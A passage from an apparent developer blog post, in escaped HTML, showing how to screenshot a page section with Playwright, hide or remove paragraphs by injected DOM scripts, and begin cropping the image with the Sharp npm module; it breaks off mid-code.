&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { test, expect } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;@playwright/test&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;take screenshot of element&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; ({ &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;page&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; }) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; page.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;goto&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;https://snyk.io/advisor/npm-package/playwright&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// run some sanity to make sure we&apos;re capturing the right page&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;expect&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(page).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;toHaveTitle&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;/playwright/&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;ig&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;element&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; page.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;locator&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#popularity&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;scriptJsContent&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;    document.querySelector(&apos;#popularity p&apos;).style.visibility=&quot;hidden&quot;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;  `&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; page.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;addScriptTag&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ content: scriptJsContent });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; element.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;screenshot&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ path: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;package-popularity.png&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will generate the following screenshot file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/2023-01-01-figure-1.png&quot; alt=&quot;Snyk Advisor page showing the popularity section of Playwright npm package&quot;&gt;&lt;/p&gt;
&lt;p&gt;As you can see, only the first paragraph is hidden, which is because
we’ve had used &lt;code&gt;querySelector&lt;/code&gt; to select the first paragraph, and not
all matching elements in the DOM.&lt;/p&gt;
&lt;p&gt;Let’s fix this by using &lt;code&gt;querySelectorAll&lt;/code&gt; instead:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { test, expect } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;@playwright/test&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;take screenshot of element&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; ({ &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;page&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; }) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; page.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;goto&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;https://snyk.io/advisor/npm-package/playwright&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;expect&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(page).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;toHaveTitle&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;/playwright/&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;ig&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;element&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; page.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;locator&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#popularity&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;scriptJsContent&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;    document.querySelectorAll(&apos;#popularity p&apos;).forEach(elem =&gt; elem.style.visibility=&quot;hidden&quot;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;  `&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; page.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;addScriptTag&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ content: scriptJsContent });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; element.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;screenshot&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ path: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;package-popularity.png&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is great because now we’ve hidden all the paragraphs, but
I’m sure you’re thinking the same as I am: what’s with all that
blank space in that div? Let’s fix that too.&lt;/p&gt;
&lt;p&gt;Instead of hiding the paragraphs, let’s remove them entirely
from the DOM so they don’t occupy any space:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { test, expect } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;@playwright/test&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;take screenshot of element&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; ({ &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;page&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; }) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; page.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;goto&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;https://snyk.io/advisor/npm-package/playwright&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;expect&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(page).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;toHaveTitle&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;/playwright/&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;ig&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;element&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; page.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;locator&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#popularity&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;scriptJsContent&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;    document.querySelectorAll(&apos;#popularity p&apos;).forEach(elem =&gt; elem.remove());&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;  `&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; page.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;addScriptTag&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ content: scriptJsContent });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; element.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;screenshot&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ path: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;package-popularity.png&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let’s look at the generated screenshot now with the above changes:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/2023-01-01-figure-2.png&quot; alt=&quot;Snyk Advisor page showing the popularity section of Playwright npm package&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;using-the-sharp-npm-module-to-modify-the-screenshot-image&quot;&gt;Using the Sharp npm module to modify the screenshot image&lt;/h2&gt;
&lt;p&gt;What is Sharp?&lt;/p&gt;
&lt;p&gt;Sharp is a high performance Node.js module for resizing, cropping, and manipulating images.
It uses the &lt;a href=&quot;https://libvips.github.io/libvips/&quot;&gt;libvips&lt;/a&gt; library for image processing, which is
a fast image processing library with low memory needs.&lt;/p&gt;
&lt;p&gt;What if we didn’t have the ability to use Playwright’s APIs to modify the DOM
before taking the screenshot? What if we only had the screenshot image file?&lt;/p&gt;
&lt;p&gt;One way to solve this problem is to modify the image file in a way that
crops the image to the desired size, and removes the unwanted content.
Luckily, the way the page is built, the &lt;code&gt;Popularity&lt;/code&gt; section maintains
a consistent layout proportions across different package pages, so we
can use the same cropping logic for all package pages.&lt;/p&gt;
&lt;p&gt;To use Sharp, we need to install it as a dependency:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  npm install --save-dev --ignore-scripts=false --foreground-scripts sharp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note: if you’re wondering about the &lt;code&gt;--ignore-scripts=false&lt;/code&gt; and &lt;code&gt;--foreground-scripts&lt;/code&gt; flags,
it’s because Sharp uses a pre-built binary for the &lt;code&gt;libvips&lt;/code&gt; library, and the pre-built binary
is only available for Linux, macOS, and Windows.&lt;/p&gt;
&lt;p&gt;Then we can create the following Node.js program code to use
Sharp and apply our image cropping logic on to the screenshot image:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;sharp&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;sharp&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;FILE_NAME&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;package-popularity.png&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;image&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;sharp&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;FILE_NAME&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;imageMetadata&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; image.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;metadata&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  image&lt;/span&gt;&lt;/span&gt;
